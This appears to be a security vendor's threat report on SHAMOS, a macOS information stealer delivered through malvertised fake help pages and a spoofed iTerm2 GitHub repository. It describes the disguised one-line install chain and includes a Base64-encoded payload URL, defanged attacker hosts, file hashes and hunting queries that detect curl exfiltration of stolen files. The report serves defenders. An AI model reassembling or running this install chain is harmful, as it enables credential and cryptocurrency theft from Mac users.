Falcon Platform Prevents COOKIE SPIDER’s SHAMOS Delivery on macOS

August 20, 2025

| | Engineering & Tech• Threat Hunting & Intel

Between June and August 2025, the CrowdStrike Falcon® platform successfully blocked a sophisticated malware campaign that attempted to compromise over 300 customer environments. The campaign deployed SHAMOS, a variant of Atomic macOS Stealer (AMOS) developed by the cybercriminal group COOKIE SPIDER.

Operating as malware-as-a-service, COOKIE SPIDER rents this information stealer to cybercriminals who deploy it to harvest sensitive information and cryptocurrency assets from victims. The campaign utilized malvertising to direct users to fraudulent macOS help websites where victims were instructed to execute a malicious one-line installation command.

This campaign underscores the popularity of malicious one-line installation commands among eCrime actors. This technique allows them to bypass Gatekeeper security checks and install the Mach-O executable directly onto victim devices. Cuckoo Stealer and SHAMOS operators have previously leveraged this method in Homebrew malvertising campaigns occurring between May 2024 and January 2025.

Details

In an exemplar campaign from June 2025, when the victim searches for a macOS-related issue — for example, “macos flush resolver cache” — they receive a promoted malvertising website in their search results (Figure 1). Users located in multiple countries — including the U.S., UK, Japan, China, Colombia, Canada, Mexico, Italy, and others — received these advertisements; no victims were located in Russia. This is likely due to the fact that Russian eCrime forums prohibit commodity malware operators from targeting users based in Russia and other countries belonging to the Commonwealth of Independent States (CIS).
Figure 1. Screenshot of search engine results with promoted malvertising website Figure 1. Screenshot of search engine results with promoted malvertising website
One Google Advertising profile promoting this spoofed macOS help website appears to be a legitimate Australia-based electronics store, suggesting the eCrime actors responsible are likely spoofing the store name in their Google Advertising profile. This assessment is made with moderate confidence, as this profile’s promoted advertisement URLs appear to relate to macOS help pages — mac-safer[.]com and rescue-mac[.]com — and therefore do not align with the legitimate store’s business operations (Figure 2).
Figure 2. Google advertising profile Figure 2. Google advertising profile
The fake help pages provide victims with false instructions for how to fix their problem (Figure 3).
Figure 3. False instructions displayed on macOS help pages
Figure 3. False instructions displayed on macOS help pages Figure 3. False instructions displayed on macOS help pages
Both malvertising websites instruct the victims to copy, paste, and execute the following command in Terminal (Figure 4):
Figure 4. Malicious one-line installation command displayed on malvertising websites Figure 4. Malicious one-line installation command displayed on malvertising websites
The command decodes the Base64-encoded string aHR0cHM6Ly9pY2xvdWRzZXJ2ZXJzLmNvbS9nbS9pbnN0YWxsLnNo and downloads a file from https[:]//icloudservers[.]com/gm/install[.]sh. This file is a Bash script that captures the user’s password and downloads a SHAMOS Mach-O executable from https[:]//icloudservers[.]com/gm/update (Figure 5).
Figure 5. Bash script contents Figure 5. Bash script contents

Since first reporting on this type of campaign in June 2025, CrowdStrike Counter Adverary Operations has continued to observe opportunistic eCrime threat actors leveraging malicious GitHub repositories to prompt victims to execute commands that download SHAMOS. Similar to the aforementioned activity, campaign operators allege to offer a free download of a tool designed for macOS; these tools involve video editing software, computer-aided design (CAD) products, macOS performance tools, AI software, and dictation software.

The threat actor(s) behind these pages continue to use the malicious one-line command to install SHAMOS. In some cases, the command is written entirely in plain text, and in others, the URL that hosts SHAMOS is Base64-encoded (Figure 6). 
Figure 6. Samples of malicious one-line installation commands displayed on malvertising websites throughout July and August 2025 Figure 6. Samples of malicious one-line installation commands displayed on malvertising websites throughout July and August 2025

SHAMOS Installation/Execution

The malicious installation command downloads SHAMOS Mach-O into the /tmp/ directory, removes extended file attributes using xattr likely for bypassing Gatekeeper checks, assigns executable permissions via chmod, and then executes the stealer. SHAMOS executes anti-VM commands to verify that the Mach-O is not executing in a suspected sandbox environment. The stealer then executes a variety of AppleScript commands for host reconnaissance and data collection tasks, including searching for known cryptocurrency-related wallet files and sensitive credential-based files on disk. SHAMOS attempts to exfiltrate collected sensitive files, including data from Keychain, AppleNotes, and browsers, using curl to transmit the data in a ZIP archive named out.zip (Figure 7).
Figure 7. Falcon UI detection on the binary execution from tmp Figure 7. Falcon UI detection on the binary execution from tmp
SHAMOS downloads additional malicious payloads, including a spoofed Ledger Live wallet application and a botnet module, to the victim’s home directory as hidden files and assigns them with executable permissions. The stealer also configures a Plist file named com.finder.helper.plist for persistence and saves it to the User’s LaunchDaemons directory if the victim has Sudo privileges. CrowdStrike observed multiple curl commands, likely suggesting the eCrime actor was using SHAMOS’s botnet module (Figure 8).
Figure 8. Falcon UI detection demonstrating likely botnet module use Figure 8. Falcon UI detection demonstrating likely botnet module use

Additional Reporting

Open-source reporting detailed an additional malvertising campaign related to the observed activity. This campaign involved a GitHub repository masquerading as iTerm2’s GitHub repository, located at https[:]//github[.]com/jeryrymoore/Iterm2, that contained instructions detailing how to download iTerm2, a terminal emulator for macOS (Figure 9).1

The malicious one-line installation command is nearly identical to the command used in the malvertising campaign; however, the campaign’s Bash script host URL is not Base64-encoded. The Bash script — retrieved from https[:]//macostutorial[.]com/iterm2/install[.]sh — downloads SHAMOS from https[:]//macostutorial[.]com/iterm2/update.
Figure 9. GitHub repository containing fake iTerm2 installation instructions Figure 9. GitHub repository containing fake iTerm2 installation instructions

CrowdStrike Falcon Coverage

CrowdStrike employs a layered approach for malware detection using machine learning and indicators of attack (IOAs). As shown in Figure 10, the CrowdStrike Falcon® sensor’s machine learning capabilities and behavior-based detection capabilities (IOAs) can automatically detect and prevent SHAMOS in the initial stages of the attack chain (i.e., as soon as the malware is downloaded onto the victim’s machine and at execution of the malicious shell script). Additionally, IOAs can recognize malicious behavior at further stages in the attack chain, including when the threat actor attempts to employ tactics like data collection, persistence, execution of further binaries, and data exfiltration. 
Figure 10. Falcon UI detection on execution of Bash script Figure 10. Falcon UI detection on execution of Bash script

Assessment

This campaign highlights that leveraging malvertising and the one-line installation-command technique to distribute macOS information stealers remains popular among eCrime actors. Promoting false malicious websites encourages more site traffic, which will lead to more potential victims. The one-line installation command enables eCrime actors to directly install the Mach-O executable onto the victim’s machine while bypassing Gatekeeper checks.

CrowdStrike Counter Adversary Operations assesses that eCrime actors will likely continue to leverage both malvertising and one-line installation commands to distribute macOS information stealers. This assessment is made with high confidence, as the combination has historically been successful, and these methods allow actors to bypass Gatekeeper checks.

Recommended Prevention Settings

To protect endpoints from this threat, CrowdStrike Falcon® Insight XDR customers should ensure the following prevention policy settings are configured:

  • Suspicious process prevention
  • Intelligence-sourced threat prevention

Threat Hunting Queries 

The following CrowdStrike Falcon® Next-Gen SIEM Advanced Event Search queries are provided to assist defenders in hunting for this and similar activity across their endpoints.

NOTE: Make sure to update the Falcon URL to the cloud in which your environment is currently configured (US1, US2, EU, etc.)

“Bash script execution with calls to risky LOOBINs”

event_platform=Mac #event_simpleName=ScriptControlScanInfo ScriptContent="*dscl*curl*xattr*chmod*"
| format("[GraphExplorer](https://falcon.crowdstrike.com/graphs/process-explorer/tree?id=pid:%s:%s)", field=["aid", "TargetProcessId"], as=GraphExplorer)
| groupBy([aid, GraphExplorer, ScriptContent])

“AppleScript execution under a binary from /tmp/”

event_platform=Mac #event_simpleName=ProcessRollup2 ImageFileName="*/tmp/*"
| join({event_platform=Mac #event_simpleName=ProcessRollup2 ImageFileName="*osascript" CommandLine="*-e*" | rename(field="CommandLine", as="ChildCommandLine") | rename(field="ImageFileName", as="ChildImageFileName")}, field=TargetProcessId, key=ParentProcessId, include=["ChildImageFileName", "ChildCommandLine"], limit=20000)
| format("[GraphExplorer](https://falcon.crowdstrike.com/graphs/process-explorer/tree?id=pid:%s:%s)", field=["aid", "TargetProcessId"], as=GraphExplorer)
| groupBy([aid, GraphExplorer, ImageFileName, CommandLine, ChildImageFileName, ChildCommandLine])

“Curl with commandline indicative of data exfil”

event_platform=Mac #event_simpleName=ProcessRollup2 FileName=curl CommandLine="*POST*out.zip*"
| format("[GraphExplorer](https://falcon.crowdstrike.com/graphs/process-explorer/tree?id=pid:%s:%s)", field=["aid", "TargetProcessId"], as=GraphExplorer)
| groupBy([aid, GraphExplorer, ImageFileName, CommandLine])

Indicators of Compromise (IOCs)

IOCDescription
Malvertising websites containing instructions to download SHAMOS

mac-safer[.]com

rescue-mac[.]com

https[:]//github[.]com/jeryrymoore/Iterm2

Bash script SHA256 hashes

231c4bf14c4145be77aa4fef36c208891d818983c520ba067dda62d3bbbf547f

eb7ede285aba687661ad13f22f8555aab186debbadf2c116251cb269e913ef68

SHAMOS Mach-O SHA256 hashes

4549e2599de3011973fde61052a55e5cdb770348876abc82de14c2d99575790f

b01c13969075974f555c8c88023f9abf891f72865ce07efbcee6c2d906d410d5

a4e47fd76dc8ed8e147ea81765edc32ed1e11cff27d138266e3770c7cf953322

Bash script host URLs

https[:]//icloudservers[.]com/gm/install[.]sh

https[:]//macostutorial[.]com/iterm2/install[.]sh

SHAMOS host URLs

https[:]//icloudservers[.]com/gm/update

https[:]//macostutorial[.]com/iterm2/update

MITRE ATT&CK Framework

The following table maps reported COOKIE SPIDER and SHAMOS tactics, techniques, and procedures (TTPs) to the MITRE ATT&CK® framework.

IDTechniqueDescription
T1583.001Acquire Infrastructure: DomainsThe eCrime actor registered fake macOS help websites
T1189Drive-by CompromiseMalvertising distributes websites containing SHAMOS installation instructions
T1204User ExecutionSHAMOS requires the user to execute the malicious installer command
T1027.010Obfuscated Files or Information: Command ObfuscationThe malicious command uses Base64-encoding to obfuscate the Bash script download URL
T1105Ingress Tool TransferThe malicious Bash script downloads SHAMOS from an external URL

Additional Resources

1. The legitimate iTerm2 GitHub repository is located at https[:]//github[.]com/gnachman/iTerm2.
Related Content
EMBER2024: Advancing the Training of Cybersecurity ML Models Against Evasive Malware
EMBER2024: Advancing the Training of Cybersecurity ML Models Against Evasive Malware
CrowdStrike’s Approach to Better Machine Learning Evaluation Using Strategic Data Splitting
CrowdStrike’s Approach to Better Machine Learning Evaluation Using Strategic Data Splitting
CrowdStrike Researchers Develop Custom XGBoost Objective to Improve ML Model Release Stability
CrowdStrike Researchers Develop Custom XGBoost Objective to Improve ML Model Release Stability